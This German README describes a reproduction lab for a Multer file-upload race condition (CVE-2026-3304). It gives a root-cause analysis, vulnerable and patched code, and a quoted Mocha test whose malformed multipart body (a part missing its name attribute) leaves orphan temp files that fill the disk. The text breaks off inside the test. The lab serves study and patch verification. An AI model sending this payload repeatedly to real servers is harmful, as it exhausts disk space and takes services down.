
# Reproduktionslabor für CVE-2026-3304, eine Multer-async-fileFilter-Race-Condition, die durch verwaiste temporäre Dateien zur Erschöpfung des Speicherplatzes führt. Enthält anfällige und gepatchte Docker-Server, Exploit-Skripte und Root-Cause-Analyse.
Nur für Bildungs- und Forschungszwecke. Angriffe auf Systeme ohne Autorisierung sind illegal.
Diese Laborumgebung wurde durch die Analyse des Multer-2.1.0-Patches und seines offiziellen Testcodes erstellt. Der verwundbare Server repliziert exakt die im Patch-Test beschriebenen Bedingungen, und der gepatchte Server führt Multer 2.1.0 aus, um zu bestätigen, dass der Fix funktioniert.
| Feld | Details |
|---|---|
| CVE | CVE-2026-3304 |
| Ziel | Multer < 2.1.0 (Node.js multipart/form-data Middleware) |
| Typ | DoS — Verwaiste Datei (unvollständige Bereinigung temporärer Dateien) |
| CWE | CWE-459: Unvollständige Bereinigung |
| CVSS 4.0 | 8.7 HOCH |
| Gepatchte Version | Multer 2.1.0 |
Eine fehlerhafte Multipart-Anfrage mit einem fehlenden name-Attribut bei einem Dateiteil führt dazu, dass Multer eine temporäre Datei auf der Festplatte erstellt, diese aber nie bereinigt. Wiederholte Anfragen erschöpfen den Speicherplatz, was zu einem Denial of Service führt.
Die Schwachstelle entsteht im fileFilter-Callback-Behandlungsablauf innerhalb von multer/lib/make-middleware.js.
Wenn Multer eine Multipart-Anfrage Teil für Teil streamt und parst, läuft die folgende Sequenz ab:
[Parsing-Ereignissequenz — verwundbare Version]
1. Teil-1-Header empfangen
→ fileFilter(req, file, cb) aufgerufen
→ setImmediate(cb) → Callback auf den nächsten Event-Loop-Tick verschoben
2. Teil-1-Body empfangen
→ /tmp/uploads/<uuid> geöffnet, Daten werden geschrieben
3. Teil-2-Header empfangen (name-Attribut fehlt)
→ Multer erkennt 'name fehlt'
→ errorOccured = true ← Fehlerflag gesetzt
→ abortWithCode('LIMIT_FIELD_KEY') aufgerufen → HTTP 500 geplant
4. setImmediate-Callback feuert (nächster Event-Loop-Tick)
→ fileFilter-Ergebnis: includeFile = true (normaler Ablauf)
→ [BUG] errorOccured-Flag wird NICHT geprüft
→ storage._handleFile() aufgerufen → temporäre Datei auf der Festplatte gespeichert
5. HTTP-500-Antwort gesendet
→ temporäre Datei bleibt auf der Festplatte (verwaiste Datei)
make-middleware.js — Multer < 2.1.0)// fileFilter-Abschluss-Callback (über setImmediate verschoben)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured wird hier nie geprüft
// selbst wenn beim Parsen von Teil 2 ein Fehler gesetzt wurde, wird die Ausführung fortgesetzt
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// temporäre Datei wird in uploadedFiles registriert und auf der Festplatte belassen
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
Warum ist setImmediate das Problem?
Das Umschließen von fileFilter mit setImmediate verschiebt dessen Callback auf den nächsten Event-Loop-Tick.
In diesem Fenster parst busboy (der Multipart-Parser) weiter die Header des nächsten Teils,
entdeckt das fehlende name und setzt errorOccured = true.
Wenn der Callback fortgesetzt wird, ist der Fehlerzustand bereits gesetzt — aber der Code prüft ihn nie,
also wird storage._handleFile bedingungslos aufgerufen und die temporäre Datei auf die Festplatte geschrieben.
Fix-Commit: 739919097d
Eine einzelne if (errorOccured)-Absicherung wurde unmittelbar nach dem Eintritt in den fileFilter-Callback hinzugefügt,
bevor storage._handleFile erreicht wird.
// fileFilter-Abschluss-Callback (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [PATCH] errorOccured vor dem Fortfahren prüfen
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // Stream leeren — keine Datei auf die Festplatte geschrieben
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| Element | Verwundbar (< 2.1.0) | Gepatcht (2.1.0) |
|---|---|---|
errorOccured-Prüfung | ❌ Nicht geprüft | ✅ Sofort beim Callback-Eintritt geprüft |
_handleFile bei Fehler aufgerufen | Ja | Blockiert |
| Bereinigung temporärer Dateien | ❌ Fehlt | ✅ Über fileStream.resume() |
| Verwaiste Dateien pro Anfrage | 1 | 0 |
Warum fileStream.resume() bereinigt:
Der Aufruf von fileStream.resume() leert und verwirft den Stream, ohne ihn an DiskStorage zu übergeben,
sodass keine Datei geschrieben wird und nichts auf der Festplatte zurückbleibt.
Das Multer-Team hat den folgenden Mocha-Test in den 2.1.0-Patch aufgenommen, um den Fix zu verifizieren.
Dieser Test wurde zur Vorlage für diese Laborumgebung — der verwundbare Server
repliziert das hier beschriebene exakte Setup (setImmediate fileFilter + fehlerhafte Multipart-Anfrage),
und das erwartete Verhalten wird sowohl gegen die verwundbare als auch gegen die gepatchte Version verifiziert.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)